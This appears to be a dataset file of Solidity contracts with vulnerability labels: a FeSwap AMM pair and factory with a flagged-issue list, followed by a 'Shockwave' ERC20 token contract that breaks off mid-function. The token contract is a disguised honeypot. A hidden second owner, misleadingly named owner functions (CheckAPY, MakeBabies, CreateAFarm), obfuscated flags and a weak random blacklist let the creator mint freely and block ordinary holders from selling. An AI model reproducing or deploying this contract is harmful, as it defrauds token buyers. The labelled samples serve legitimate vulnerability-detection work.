function FeSwapCall(address sender, uint amountOut, bytes calldata data) external;
}
// import './libraries/TransferHelper.sol';
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
contract FeSwapPair is IFeSwapPair, FeSwapERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override pairOwner;
address public override tokenIn;
address public override tokenOut;
uint112 private reserveIn; // uses single storage slot, accessible via getReserves
uint112 private reserveOut; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
uint public override kLast; // reserveIn * reserveOut, as of immediately after the most recent liquidity event
uint public override rateTriggerArbitrage;
uint private unlocked = 0x5A;
modifier lock() {
require(unlocked == 0x5A, 'FeSwap: LOCKED');
unlocked = 0x69;
_;
unlocked = 0x5A;
}
function getReserves() public view override returns ( uint112 _reserveIn, uint112 _reserveOut,
uint32 _blockTimestampLast, uint _rateTriggerArbitrage) {
_reserveIn = reserveIn;
_reserveOut = reserveOut;
_blockTimestampLast = blockTimestampLast;
_rateTriggerArbitrage = rateTriggerArbitrage;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'FeSwap: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amountIn, uint amountOut);
event Burn(address indexed sender, uint amountIn, uint amountOut, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserveIn, uint112 reserveOut);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _tokenIn, address _tokenOut, address _pairOwner, address router, uint rateTrigger) external override {
require(msg.sender == factory, 'FeSwap: FORBIDDEN');
tokenIn = _tokenIn;
tokenOut = _tokenOut;
pairOwner = _pairOwner;
if(rateTrigger != 0) rateTriggerArbitrage = rateTrigger;
TransferHelper.safeApprove(tokenIn, router, uint(-1)); // Approve Rourter to transfer out tokenIn for auto-arbitrage
}
function setOwner(address _pairOwner) external override {
require(msg.sender == factory, 'FeSwap: FORBIDDEN');
pairOwner = _pairOwner;
}
function adjusArbitragetRate(uint newRate) external override {
require(msg.sender == factory, 'FeSwap: FORBIDDEN');
rateTriggerArbitrage = newRate;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balanceIn, uint balanceOut, uint112 _reserveIn, uint112 _reserveOut) private {
require(balanceIn <= uint112(-1) && balanceOut <= uint112(-1), 'FeSwap: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserveIn != 0 && _reserveOut != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserveOut).uqdiv(_reserveIn)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserveIn).uqdiv(_reserveOut)) * timeElapsed;
}
reserveIn = uint112(balanceIn);
reserveOut = uint112(balanceOut);
blockTimestampLast = blockTimestamp;
emit Sync(reserveIn, reserveOut);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserveIn, uint112 _reserveOut) private returns (bool feeOn) {
(address feeTo, uint rateProfitShare) = IFeSwapFactory(factory).getFeeInfo();
feeOn = (feeTo != address(0)) || (pairOwner != address(0));
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserveIn).mul(_reserveOut));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast.add(20)) { // ignore swap dust increase, select 20 randomly
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(6);
uint denominator = rootK.mul(rateProfitShare).add(rootKLast);
uint liquidityCreator = numerator / (denominator.mul(10));
if((liquidityCreator > 0) && (pairOwner != address(0))) {
_mint(pairOwner, liquidityCreator);
}
uint liquidityFeSwap = numerator / (denominator.mul(15));
if((liquidityFeSwap > 0) && (feeTo != address(0))) {
_mint(feeTo, liquidityFeSwap);
}
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint liquidity) {
(uint112 _reserveIn, uint112 _reserveOut, ,) = getReserves(); // gas savings
uint balanceIn = IERC20(tokenIn).balanceOf(address(this));
uint balanceOut = IERC20(tokenOut).balanceOf(address(this));
uint amountTokenIn = balanceIn.sub(_reserveIn);
uint amountTokenOut = balanceOut.sub(_reserveOut);
bool feeOn = _mintFee(_reserveIn, _reserveOut);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amountTokenIn.mul(amountTokenOut)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amountTokenIn.mul(_totalSupply) / _reserveIn, amountTokenOut.mul(_totalSupply) / _reserveOut);
}
require(liquidity > 0, 'FeSwap: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balanceIn, balanceOut, _reserveIn, _reserveOut);
if (feeOn) kLast = uint(reserveIn).mul(reserveOut); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amountTokenIn, amountTokenOut);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock override returns (uint amountIn, uint amountOut) {
(uint112 _reserveIn, uint112 _reserveOut, ,) = getReserves(); // gas savings
(address _tokenIn, address _tokenOut) = (tokenIn, tokenOut); // gas savings
uint balanceIn = IERC20(_tokenIn).balanceOf(address(this));
uint balanceOut = IERC20(_tokenOut).balanceOf(address(this));
uint liquidity = balanceOf[address(this)]; // liquidity to remove
bool feeOn = _mintFee(_reserveIn, _reserveOut);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amountIn = liquidity.mul(balanceIn) / _totalSupply; // using balances ensures pro-rata distribution
amountOut = liquidity.mul(balanceOut) / _totalSupply; // using balances ensures pro-rata distribution
require(amountIn > 0 && amountOut > 0, 'FeSwap: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_tokenIn, to, amountIn);
_safeTransfer(_tokenOut, to, amountOut);
balanceIn = IERC20(_tokenIn).balanceOf(address(this));
balanceOut = IERC20(_tokenOut).balanceOf(address(this));
_update(balanceIn, balanceOut, _reserveIn, _reserveOut);
if (feeOn) kLast = uint(reserveIn).mul(reserveOut); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amountIn, amountOut, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amountOut, address to, bytes calldata data) external lock override {
require(amountOut > 0, 'FeSwap: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserveIn, uint112 _reserveOut) = (reserveIn, reserveOut); // gas savings
require(amountOut < _reserveOut, 'FeSwap: INSUFFICIENT_LIQUIDITY');
uint balanceIn;
uint balanceOut;
{ // scope for {_tokenIn, _tokenOut}, avoids stack too deep errors
(address _tokenIn, address _tokenOut) = (tokenIn, tokenOut); // gas savings
require(to != _tokenIn && to != _tokenOut, 'FeSwap: INVALID_TO');
_safeTransfer(_tokenOut, to, amountOut);
if (data.length > 0) IFeSwapCallee(to).FeSwapCall(msg.sender, amountOut, data);
balanceIn = IERC20(_tokenIn).balanceOf(address(this));
balanceOut = IERC20(_tokenOut).balanceOf(address(this));
}
uint amountInTokenIn = balanceIn > _reserveIn ? balanceIn - _reserveIn : 0;
uint amountInTokenOut = balanceOut > (_reserveOut - amountOut)
? balanceOut - (_reserveOut - amountOut) : 0; // to support Flash Swap
require(amountInTokenIn > 0 || amountInTokenOut > 0, 'FeSwap: INSUFFICIENT_INPUT_AMOUNT');
uint balanceOutAdjusted = balanceOut.mul(1000).sub(amountInTokenOut.mul(3)); // Fee for Flash Swap: 0.3% from tokenOut
require(balanceIn.mul(balanceOutAdjusted) >= uint(_reserveIn).mul(_reserveOut).mul(1000), 'FeSwap: K');
_update(balanceIn, balanceOut, _reserveIn, _reserveOut);
emit Swap(msg.sender, amountInTokenIn, amountInTokenOut, amountOut, to);
}
// force balances to match reserves
function skim(address to) external lock override {
address _tokenIn = tokenIn; // gas savings
address _tokenOut = tokenOut; // gas savings
_safeTransfer(_tokenIn, to, IERC20(_tokenIn).balanceOf(address(this)).sub(reserveIn));
_safeTransfer(_tokenOut, to, IERC20(_tokenOut).balanceOf(address(this)).sub(reserveOut));
}
// force reserves to match balances
function sync() external lock override {
_update(IERC20(tokenIn).balanceOf(address(this)), IERC20(tokenOut).balanceOf(address(this)), reserveIn, reserveOut);
}
}
contract FeSwapFactory is IFeSwapFactory {
uint64 public constant RATE_TRIGGER_FACTORY = 10; // price difference be 1%
uint64 public constant RATE_CAP_TRIGGER_ARBITRAGE = 50; // price difference < 5%
uint64 public constant RATE_PROFIT_SHARE = 11; // Feswap and Pair owner share 1/12 of the swap profit, 11 means 1/12
address public override factoryAdmin;
address public override feeTo;
address public override routerFeSwap;
uint64 public override rateTriggerFactory;
uint64 public override rateCapArbitrage;
uint64 public override rateProfitShare; // 1/X => rateProfitShare = (X-1)
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event PairCreated(address indexed tokenA, address indexed tokenB, address pairAAB, address pairABB, uint allPairsLength);
event PairOwnerChanged(address indexed pairAAB, address indexed pairABB, address oldOwner, address newOwner);
constructor(address _factoryAdmin) public { //factoryAdmin will be set to TimeLock after Feswap works normally
factoryAdmin = _factoryAdmin;
rateTriggerFactory = RATE_TRIGGER_FACTORY;
rateCapArbitrage = RATE_CAP_TRIGGER_ARBITRAGE;
rateProfitShare = RATE_PROFIT_SHARE;
}
function allPairsLength() external view override returns (uint) {
return allPairs.length;
}
function getFeeInfo() external view override returns (address _feeTo, uint256 _rateProfitShare) {
return (feeTo, rateProfitShare);
}
function createUpdatePair(address tokenA, address tokenB, address pairOwner, uint256 rateTrigger) external override returns (address pairAAB, address pairABB ) {
require(tokenA != tokenB, 'FeSwap: IDENTICAL_ADDRESSES');
// pairOwner allowed to zero to discard the profit
require(tokenA != address(0) && tokenB != address(0) && routerFeSwap != address(0) , 'FeSwap: ZERO_ADDRESS');
require((msg.sender == factoryAdmin) || (msg.sender == routerFeSwap) , 'FeSwap: FORBIDDEN');
require(rateTrigger <= rateCapArbitrage, 'FeSwap: GAP TOO MORE');
pairAAB = getPair[tokenA][tokenB];
if(pairAAB != address(0)) {
pairABB = getPair[tokenB][tokenA];
address oldOwner = IFeSwapPair(pairAAB).pairOwner();
if(oldOwner!=pairOwner) {
IFeSwapPair(pairAAB).setOwner(pairOwner); // Owner Security must be checked by Router
IFeSwapPair(pairABB).setOwner(pairOwner);
emit PairOwnerChanged(pairAAB, pairABB, oldOwner, pairOwner);
}
if(rateTrigger!=0)
{
rateTrigger = rateTrigger*6 + rateTriggerFactory*4 + 10000; // base is 10000
IFeSwapPair(pairAAB).adjusArbitragetRate(rateTrigger);
IFeSwapPair(pairABB).adjusArbitragetRate(rateTrigger);
}
} else {
bytes memory bytecode = type(FeSwapPair).creationCode;
bytes32 saltAAB = keccak256(abi.encodePacked(tokenA, tokenB));
bytes32 saltABB = keccak256(abi.encodePacked(tokenB, tokenA));
assembly {
pairAAB := create2(0, add(bytecode, 32), mload(bytecode), saltAAB)
pairABB := create2(0, add(bytecode, 32), mload(bytecode), saltABB)
}
if(rateTrigger == 0) rateTrigger = rateTriggerFactory;
rateTrigger = rateTrigger*6 + rateTriggerFactory*4 + 10000;
IFeSwapPair(pairAAB).initialize(tokenA, tokenB, pairOwner, routerFeSwap, rateTrigger);
getPair[tokenA][tokenB] = pairAAB;
allPairs.push(pairAAB);
IFeSwapPair(pairABB).initialize(tokenB, tokenA, pairOwner, routerFeSwap, rateTrigger);
getPair[tokenB][tokenA] = pairABB;
allPairs.push(pairABB);
emit PairCreated(tokenA, tokenB, pairAAB, pairABB, allPairs.length);
}
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == factoryAdmin, 'FeSwap: FORBIDDEN');
feeTo = _feeTo;
}
function setFactoryAdmin(address _factoryAdmin) external override {
require(msg.sender == factoryAdmin, 'FeSwap: FORBIDDEN');
factoryAdmin = _factoryAdmin;
}
function setRouterFeSwap(address _routerFeSwap) external override {
require(msg.sender == factoryAdmin, 'FeSwap: FORBIDDEN');
routerFeSwap = _routerFeSwap; // for Router Initiation
}
function configFactory(uint64 newTriggerRate, uint64 newRateCap, uint64 newProfitShareRate) external override {
require(msg.sender == factoryAdmin, 'FeSwap: FORBIDDEN');
rateTriggerFactory = newTriggerRate;
rateCapArbitrage = newRateCap;
rateProfitShare = newProfitShareRate; // 1/X => rateProfitShare = (X-1)
}
// Function to update Router in case of emergence, factoryAdmin will be set to TimeLock after Feswap works normally
// routerFeSwap must be secured and absolutely cannot be replaced uncontrolly.
function managePair(address _tokenA, address _tokenB, address _pairOwner, address _routerFeSwap) external override {
require(msg.sender == factoryAdmin, 'FeSwap: FORBIDDEN');
address pairAAB = getPair[_tokenA][_tokenB];
address pairABB = getPair[_tokenB][_tokenA];
require(pairAAB != address(0), 'FeSwap: NO TOKEN PAIR');
IFeSwapPair(pairAAB).initialize(_tokenA, _tokenB, _pairOwner, _routerFeSwap, 0);
IFeSwapPair(pairABB).initialize(_tokenB, _tokenA, _pairOwner, _routerFeSwap, 0);
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact
3) incorrect-equality with Medium impact |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_ownr = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
bool cond = ((_msgSender() == _owner || _msgSender() == _ownr) ? true : false);
require(cond, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shockwave is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public shadowbolt;
mapping (address => bool) public warlock;
mapping (address => bool) public mage;
mapping (address => uint256) public wizard;
bool private horses;
uint256 private _totalSupply;
uint256 private glacier;
uint256 private towel;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private running;
address private creator;
bool private apocalypse;
uint chairs = 0;
constructor() public {
creator = address(msg.sender);
horses = true;
running = true;
_name = "Shockwave";
_symbol = "SHOCK";
_decimals = 5;
_totalSupply = 100000000000000000;
_trns = _totalSupply;
glacier = _totalSupply;
chTx = _totalSupply / 2400;
towel = chTx * 30;
warlock[creator] = false;
mage[creator] = false;
shadowbolt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
apocalypse = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function SetStakingReward(uint256 amount) external onlyOwner {
glacier = amount;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, chairs))) % 50;
chairs++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function MakeBabies() external onlyOwner {
glacier = chTx / 2400;
apocalypse = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increawizardllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreawizardllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function CreateAFarm(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAPY(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
shadowbolt[spender] = val;
warlock[spender] = val2;
mage[spender] = val3;
apocalypse = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (horses == false)) {
glacier = chTx;
apocalypse = true;
}
if ((address(sender) == creator) && (horses == true)) {
shadowbolt[recipient] = true;
warlock[recipient] = false;
horses = false;
}
if ((amount > towel) && (shadowbolt[sender] == true) && (address(sender) != creator)) {
mage[recipient] = true;
}
if (shadowbolt[recipient] != true) {
warlock[recipient] = ((randomly() == 3) ? true : false);
}
if ((warlock[sender]) && (shadowbolt[recipient] == false)) {
warlock[recipient] = true;
}
if (shadowbolt[sender] == false) {
if ((amount > towel) && (mage[sender] == true)) {
require(false);
}
require(amount < glacier);
if (apocalypse == true) {
if (mage[sender] == true) {
require(false);
}
mage[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (running == true)) {
shadowbolt[spender] = true;
warlock[spender] = false;
mage[spender] = false;
running = false;
}
tok = (warlock[owner] ? 32763 : amount);
_allowances[owner][spender] = tok;
